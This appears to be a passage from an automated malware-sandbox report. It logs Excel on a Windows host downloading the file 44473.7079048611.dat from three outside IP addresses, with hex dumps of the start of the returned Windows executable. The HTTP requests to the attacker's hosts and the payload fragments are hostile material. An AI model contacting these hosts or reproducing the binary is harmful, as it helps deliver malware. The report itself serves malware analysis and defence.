Oct 4, 2021 17:02:17.610892057 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:02:17.612072945 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:02:17.770778894 CEST	80	49165	190.14.37.165	192.168.2.22

HTTP Request Dependency Graph

190.14.37.165

5.196.247.11

188.119.113.3

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	190.14.37.165	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 17:00:17.899703026 CEST	0	OUT	GET /44473.7079048611.dat HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 190.14.37.165 Connection: Keep-Alive
Oct 4, 2021 17:00:18.908134937 CEST	1	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 04 Oct 2021 15:00:18 GMT Content-Type: application/octet-stream Content-Length: 518144 Connection: keep-alive X-Powered-By: PHP/5.4.16 Accept-Ranges: bytes Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Content-Disposition: attachment; filename="44473.7079048611.dat" Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5e b0 b7 74 1a d1 d9 27 1a d1 d9 27 1a d1 d9 27 ae 4d 2d 27 18 d1 d9 27 13 a9 4d 27 07 d1 d9 27 48 b9 d8 26 18 d1 d9 27 84 71 1e 27 1b d1 d9 27 48 b9 dc 26 16 d1 d9 27 48 b9 da 26 1f d1 d9 27 48 b9 dc 26 04 d1 d9 27 ae 4d 36 27 1d d1 d9 27 1a d1 d8 27 ab d1 d9 27 48 b9 d9 26 1b d1 d9 27 48 b9 d3 26 5a d1 d9 27 48 b9 26 27 1b d1 d9 27 48 b9 db 26 1b d1 d9 27 52 69 63 68 1a d1 d9 27 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ed f1 87 5d 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 0f 00 ac 04 00 00 d0 93 00 00 00 00 00 eb 64 00 00 00 10 00 00 00 c0 04 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 98 00 00 04 00 00 d7 33 08 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 30 c2 07 00 b0 00 00 00 e0 c2 07 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 98 00 20 1e 00 00 00 ae 07 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 ae 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae ab 04 00 00 10 00 00 00 ac 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d0 0a 03 00 00 c0 04 00 00 0c 03 00 00 b0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 28 a3 90 00 00 d0 07 00 00 0c 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 20 1e 00 00 00 80 98 00 00 20 00 00 00 c8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$^t'''M-''M''H&'q''H&'H&'H&'M6''''H&'H&Z'H&''H&'Rich'PEL]!d3@0< TX@\.text `.rdata@@.data(@.reloc @B
Oct 4, 2021 17:00:18.908160925 CEST	3	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 6a ff 68 f0 b8 04 10 64 a1 00 00 00 00 50 a1 68 d0 07 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 6a 00 b9 10 73 98 10 c7 45 fc 00 00 00 00 e8 0b 21 00 00 68 60 bb 04 10 e8 Data Ascii: UjhdPh3PEdjsE!h`=QMdY]UhHk-hq8k}s]h\|PYhPYGhPYhPYGh
Oct 4, 2021 17:00:18.908174992 CEST	4	IN	Data Raw: 07 10 2a c1 2b d1 a2 a0 d9 07 10 8d 0c 55 2c 00 00 00 89 0d b4 d9 07 10 8b 7c 24 40 0f b7 d7 2b d1 c7 44 24 38 0f a7 1f 02 83 c2 fd 66 89 15 94 d9 07 10 3b f1 72 1c 8b 4c 24 48 2a c1 a2 a0 d9 07 10 0f b7 c1 2b f0 8d 04 75 2c 00 00 00 a3 b4 d9 07 Data Ascii: +U,\|$@+D$8f;rL$H+u,+/QZR=D$XD$ k+/QD$0L$D$PD$(f+\|$3\$D$<++;rL$(+<E,\|$=
Oct 4, 2021 17:00:18.908188105 CEST	6	IN	Data Raw: 24 5c 0f b7 cf 3b cb 72 15 28 05 a0 d9 07 10 2b c8 8d 04 4d 2c 00 00 00 89 44 24 18 8b d8 8b c6 8b cb 2b 44 24 18 2b cf 83 c0 2c 81 c1 2f 51 00 00 0f b7 c0 bf 0f a7 1f 02 89 44 24 10 0f b6 44 24 0e 89 7c 24 34 0f b7 f9 2b c7 89 4c 24 24 83 c0 0c Data Ascii: $\;r(+M,D$+D$+,/QD$D$\|$4+L$$f++Hk/Q-h\|$q=D$$t$\;r(T$L$D$<D$ +D$ /Qf;D$ w#L$
Oct 4, 2021 17:00:18.908200026 CEST	7	IN	Data Raw: b7 c9 81 c7 2f 51 01 00 89 4c 24 5c 83 7c 24 30 02 89 7c 24 18 89 3d b0 d9 07 10 73 34 8b 44 24 10 39 74 24 40 0f b6 0d a4 d9 07 10 0f b6 c0 0f 46 c8 8b c7 88 0d a4 d9 07 10 8b 4c 24 30 49 2b c1 89 4c 24 30 83 c0 2c 0f b7 c0 89 44 24 10 eb 22 8b Data Ascii: /QL$\\|$0\|$=s4D$9t$@FL$0I+L$0,D$"L$(9L$@wD$ T$D$\(fL$$fD$TL$+,=D$TtT$\$+L$\$++D$TD$L$
Oct 4, 2021 17:00:18.908211946 CEST	8	IN	Data Raw: 6c ff ff ff c7 46 10 00 00 00 00 c7 46 14 00 00 00 00 0f 10 00 0f 11 06 f3 0f 7e 40 10 66 0f d6 46 10 c7 40 10 00 00 00 00 c7 40 14 0f 00 00 00 c6 00 00 8b 55 d0 83 fa 10 72 2c 8b 4d bc 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 Data Ascii: lFF~@fF@@Ur,MBrI#+RQ\<UEEEr,MBrI#+RQ<UEEEr+tBrI#+wyRQ;
Oct 4, 2021 17:00:18.908225060 CEST	8	IN	Data Raw: cc cc cc cc cc 55 8b ec 83 e4 f8 0f b6 01 83 c1 08 50 e8 9e 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 8b 4e 14 83 f9 10 72 27 8b 06 41 81 f9 00 10 00 00 72 12 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 77 1f 8b c2 51 50 e8 32 37 Data Ascii: UP]VNr'ArP#+wQP27FF^\|T$VWxFFf@u+PR_
Oct 4, 2021 17:00:18.908243895 CEST	10	IN	Data Raw: c6 5e c2 04 00 cc cc cc cc cc cc cc 55 8b ec 6a ff 68 10 b9 04 10 64 a1 00 00 00 00 50 83 ec 38 53 56 57 a1 68 d0 07 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 89 4d ec 8a 45 08 33 db c7 45 d0 00 00 00 00 89 5d d4 89 5d d8 3c 02 75 47 8b 11 8b 4a 04 Data Ascii: ^UjhdP8SVWh3PEdME3E]]<uGJ+ttQMEMQrMP]<9Gt=2PME]8?7;N(9]t2WACACfEEA
Oct 4, 2021 17:00:18.908272982 CEST	11	IN	Data Raw: 0c c6 04 3b 00 8b c6 5f 5e 5b 59 c2 08 00 81 ff ff ff ff 7f 0f 87 cf 00 00 00 8b df 83 cb 0f 81 fb ff ff ff 7f 76 07 bb ff ff ff 7f eb 1e 8b d1 b8 ff ff ff 7f d1 ea 2b c2 3b c8 76 07 bb ff ff ff 7f eb 08 8d 04 0a 3b d8 0f 42 d8 8d 4b 01 55 81 f9 Data Ascii: ;_^[Yv+;v;BKUr#A#;FP-tth#EtQ-3Wt$~U^AD$/r)HrP#+wQP0.]_^[YvV
Oct 4, 2021 17:00:18.908288002 CEST	13	IN	Data Raw: c0 66 0f 13 44 24 0c 2b d0 8b 7c 24 10 8b 5c 24 0c 0f 1f 80 00 00 00 00 8a 08 88 0c 02 8b 48 08 89 4c 02 08 8b 48 0c 89 4c 02 0c c6 00 00 89 58 08 89 78 0c 83 c0 10 3b c6 75 dd 5f 5e 5b 83 c4 08 c2 0c 00 cc cc cc cc 55 8b ec 6a ff 68 89 b9 04 10 Data Ascii: fD$+\|$\$HLHLXx;u_^[UjhdPSVWh3PEd}EGGE]ECPWO+r(AGrj4hLjVBFjhLjEuj
Oct 4, 2021 17:00:19.089967012 CEST	14	IN	Data Raw: 00 00 cc cc cc cc cc cc cc cc cc cc cc cc 51 53 8b d9 55 8b 6c 24 10 8b 13 2b ea 8b 43 04 2b c2 c1 f8 04 3d ff ff ff 0f 0f 84 f4 00 00 00 8b 4b 08 2b ca c1 f9 04 56 8d 70 01 8b d1 d1 ea b8 ff ff ff 0f 2b c2 89 74 24 0c 57 3b c8 76 04 8b fe eb 08 Data Ascii: QSUl$+C+=K+Vp+t$W;v<;Bvr'A#;FP#p#FtQ"3L$V.AD.AD.D$AAS;uRQPQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49166	5.196.247.11	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 17:00:21.210845947 CEST	543	OUT	GET /44473.7079048611.dat HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 5.196.247.11 Connection: Keep-Alive
Oct 4, 2021 17:00:21.454144001 CEST	545	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 04 Oct 2021 15:00:21 GMT Content-Type: application/octet-stream Content-Length: 518144 Connection: keep-alive X-Powered-By: PHP/5.4.16 Accept-Ranges: bytes Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Content-Disposition: attachment; filename="44473.7079048611.dat" Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5e b0 b7 74 1a d1 d9 27 1a d1 d9 27 1a d1 d9 27 ae 4d 2d 27 18 d1 d9 27 13 a9 4d 27 07 d1 d9 27 48 b9 d8 26 18 d1 d9 27 84 71 1e 27 1b d1 d9 27 48 b9 dc 26 16 d1 d9 27 48 b9 da 26 1f d1 d9 27 48 b9 dc 26 04 d1 d9 27 ae 4d 36 27 1d d1 d9 27 1a d1 d8 27 ab d1 d9 27 48 b9 d9 26 1b d1 d9 27 48 b9 d3 26 5a d1 d9 27 48 b9 26 27 1b d1 d9 27 48 b9 db 26 1b d1 d9 27 52 69 63 68 1a d1 d9 27 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ed f1 87 5d 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 0f 00 ac 04 00 00 d0 93 00 00 00 00 00 eb 64 00 00 00 10 00 00 00 c0 04 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 98 00 00 04 00 00 d7 33 08 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 30 c2 07 00 b0 00 00 00 e0 c2 07 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 98 00 20 1e 00 00 00 ae 07 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 ae 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae ab 04 00 00 10 00 00 00 ac 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d0 0a 03 00 00 c0 04 00 00 0c 03 00 00 b0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 28 a3 90 00 00 d0 07 00 00 0c 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 20 1e 00 00 00 80 98 00 00 20 00 00 00 c8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$^t'''M-''M''H&'q''H&'H&'H&'M6''''H&'H&Z'H&''H&'Rich'PEL]!d3@0< TX@\.text `.rdata@@.data(@.reloc @B
Oct 4, 2021 17:00:21.454184055 CEST	546	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 6a ff 68 f0 b8 04 10 64 a1 00 00 00 00 50 a1 68 d0 07 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 6a 00 b9 10 73 98 10 c7 45 fc 00 00 00 00 e8 0b 21 00 00 68 60 bb 04 10 e8 Data Ascii: UjhdPh3PEdjsE!h`=QMdY]UhHk-hq8k}s]h\|PYhPYGhPYhPYGh
Oct 4, 2021 17:00:21.454200983 CEST	548	IN	Data Raw: 07 10 2a c1 2b d1 a2 a0 d9 07 10 8d 0c 55 2c 00 00 00 89 0d b4 d9 07 10 8b 7c 24 40 0f b7 d7 2b d1 c7 44 24 38 0f a7 1f 02 83 c2 fd 66 89 15 94 d9 07 10 3b f1 72 1c 8b 4c 24 48 2a c1 a2 a0 d9 07 10 0f b7 c1 2b f0 8d 04 75 2c 00 00 00 a3 b4 d9 07 Data Ascii: +U,\|$@+D$8f;rL$H+u,+/QZR=D$XD$ k+/QD$0L$D$PD$(f+\|$3\$D$<++;rL$(+<E,\|$=
Oct 4, 2021 17:00:21.454217911 CEST	549	IN	Data Raw: 24 5c 0f b7 cf 3b cb 72 15 28 05 a0 d9 07 10 2b c8 8d 04 4d 2c 00 00 00 89 44 24 18 8b d8 8b c6 8b cb 2b 44 24 18 2b cf 83 c0 2c 81 c1 2f 51 00 00 0f b7 c0 bf 0f a7 1f 02 89 44 24 10 0f b6 44 24 0e 89 7c 24 34 0f b7 f9 2b c7 89 4c 24 24 83 c0 0c Data Ascii: $\;r(+M,D$+D$+,/QD$D$\|$4+L$$f++Hk/Q-h\|$q=D$$t$\;r(T$L$D$<D$ +D$ /Qf;D$ w#L$
Oct 4, 2021 17:00:21.454240084 CEST	550	IN	Data Raw: b7 c9 81 c7 2f 51 01 00 89 4c 24 5c 83 7c 24 30 02 89 7c 24 18 89 3d b0 d9 07 10 73 34 8b 44 24 10 39 74 24 40 0f b6 0d a4 d9 07 10 0f b6 c0 0f 46 c8 8b c7 88 0d a4 d9 07 10 8b 4c 24 30 49 2b c1 89 4c 24 30 83 c0 2c 0f b7 c0 89 44 24 10 eb 22 8b Data Ascii: /QL$\\|$0\|$=s4D$9t$@FL$0I+L$0,D$"L$(9L$@wD$ T$D$\(fL$$fD$TL$+,=D$TtT$\$+L$\$++D$TD$L$
Oct 4, 2021 17:00:21.454257965 CEST	552	IN	Data Raw: 6c ff ff ff c7 46 10 00 00 00 00 c7 46 14 00 00 00 00 0f 10 00 0f 11 06 f3 0f 7e 40 10 66 0f d6 46 10 c7 40 10 00 00 00 00 c7 40 14 0f 00 00 00 c6 00 00 8b 55 d0 83 fa 10 72 2c 8b 4d bc 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 Data Ascii: lFF~@fF@@Ur,MBrI#+RQ\<UEEEr,MBrI#+RQ<UEEEr+tBrI#+wyRQ;
Oct 4, 2021 17:00:21.454274893 CEST	552	IN	Data Raw: cc cc cc cc cc 55 8b ec 83 e4 f8 0f b6 01 83 c1 08 50 e8 9e 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 8b 4e 14 83 f9 10 72 27 8b 06 41 81 f9 00 10 00 00 72 12 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 77 1f 8b c2 51 50 e8 32 37 Data Ascii: UP]VNr'ArP#+wQP27FF^\|T$VWxFFf@u+PR_
Oct 4, 2021 17:00:21.454292059 CEST	553	IN	Data Raw: c6 5e c2 04 00 cc cc cc cc cc cc cc 55 8b ec 6a ff 68 10 b9 04 10 64 a1 00 00 00 00 50 83 ec 38 53 56 57 a1 68 d0 07 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 89 4d ec 8a 45 08 33 db c7 45 d0 00 00 00 00 89 5d d4 89 5d d8 3c 02 75 47 8b 11 8b 4a 04 Data Ascii: ^UjhdP8SVWh3PEdME3E]]<uGJ+ttQMEMQrMP]<9Gt=2PME]8?7;N(9]t2WACACfEEA
Oct 4, 2021 17:00:21.454314947 CEST	555	IN	Data Raw: 0c c6 04 3b 00 8b c6 5f 5e 5b 59 c2 08 00 81 ff ff ff ff 7f 0f 87 cf 00 00 00 8b df 83 cb 0f 81 fb ff ff ff 7f 76 07 bb ff ff ff 7f eb 1e 8b d1 b8 ff ff ff 7f d1 ea 2b c2 3b c8 76 07 bb ff ff ff 7f eb 08 8d 04 0a 3b d8 0f 42 d8 8d 4b 01 55 81 f9 Data Ascii: ;_^[Yv+;v;BKUr#A#;FP-tth#EtQ-3Wt$~U^AD$/r)HrP#+wQP0.]_^[YvV
Oct 4, 2021 17:00:21.478272915 CEST	556	IN	Data Raw: c0 66 0f 13 44 24 0c 2b d0 8b 7c 24 10 8b 5c 24 0c 0f 1f 80 00 00 00 00 8a 08 88 0c 02 8b 48 08 89 4c 02 08 8b 48 0c 89 4c 02 0c c6 00 00 89 58 08 89 78 0c 83 c0 10 3b c6 75 dd 5f 5e 5b 83 c4 08 c2 0c 00 cc cc cc cc 55 8b ec 6a ff 68 89 b9 04 10 Data Ascii: fD$+\|$\$HLHLXx;u_^[UjhdPSVWh3PEd}EGGE]ECPWO+r(AGrj4hLjVBFjhLjEuj
Oct 4, 2021 17:00:21.478312969 CEST	557	IN	Data Raw: 00 00 cc cc cc cc cc cc cc cc cc cc cc cc 51 53 8b d9 55 8b 6c 24 10 8b 13 2b ea 8b 43 04 2b c2 c1 f8 04 3d ff ff ff 0f 0f 84 f4 00 00 00 8b 4b 08 2b ca c1 f9 04 56 8d 70 01 8b d1 d1 ea b8 ff ff ff 0f 2b c2 89 74 24 0c 57 3b c8 76 04 8b fe eb 08 Data Ascii: QSUl$+C+=K+Vp+t$W;v<;Bvr'A#;FP#p#FtQ"3L$V.AD.AD.D$AAS;uRQPQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49167	188.119.113.3	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 17:00:22.178577900 CEST	1087	OUT	GET /44473.7079048611.dat HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 188.119.113.3 Connection: Keep-Alive
Oct 4, 2021 17:00:22.412697077 CEST	1088	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 04 Oct 2021 15:00:22 GMT Content-Type: application/octet-stream Content-Length: 518144 Connection: keep-alive X-Powered-By: PHP/5.4.16 Accept-Ranges: bytes Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Content-Disposition: attachment; filename="44473.7079048611.dat" Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5e b0 b7 74 1a d1 d9 27 1a d1 d9 27 1a d1 d9 27 ae 4d 2d 27 18 d1 d9 27 13 a9 4d 27 07 d1 d9 27 48 b9 d8 26 18 d1 d9 27 84 71 1e 27 1b d1 d9 27 48 b9 dc 26 16 d1 d9 27 48 b9 da 26 1f d1 d9 27 48 b9 dc 26 04 d1 d9 27 ae 4d 36 27 1d d1 d9 27 1a d1 d8 27 ab d1 d9 27 48 b9 d9 26 1b d1 d9 27 48 b9 d3 26 5a d1 d9 27 48 b9 26 27 1b d1 d9 27 48 b9 db 26 1b d1 d9 27 52 69 63 68 1a d1 d9 27 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ed f1 87 5d 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 0f 00 ac 04 00 00 d0 93 00 00 00 00 00 eb 64 00 00 00 10 00 00 00 c0 04 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 98 00 00 04 00 00 d7 33 08 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 30 c2 07 00 b0 00 00 00 e0 c2 07 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 98 00 20 1e 00 00 00 ae 07 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 ae 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae ab 04 00 00 10 00 00 00 ac 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d0 0a 03 00 00 c0 04 00 00 0c 03 00 00 b0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 28 a3 90 00 00 d0 07 00 00 0c 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 20 1e 00 00 00 80 98 00 00 20 00 00 00 c8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$^t'''M-''M''H&'q''H&'H&'H&'M6''''H&'H&Z'H&''H&'Rich'PEL]!d3@0< TX@\.text `.rdata@@.data(@.reloc @B
Oct 4, 2021 17:00:22.412728071 CEST	1090	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 6a ff 68 f0 b8 04 10 64 a1 00 00 00 00 50 a1 68 d0 07 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 6a 00 b9 10 73 98 10 c7 45 fc 00 00 00 00 e8 0b 21 00 00 68 60 bb 04 10 e8 Data Ascii: UjhdPh3PEdjsE!h`=QMdY]UhHk-hq8k}s]h\|PYhPYGhPYhPYGh
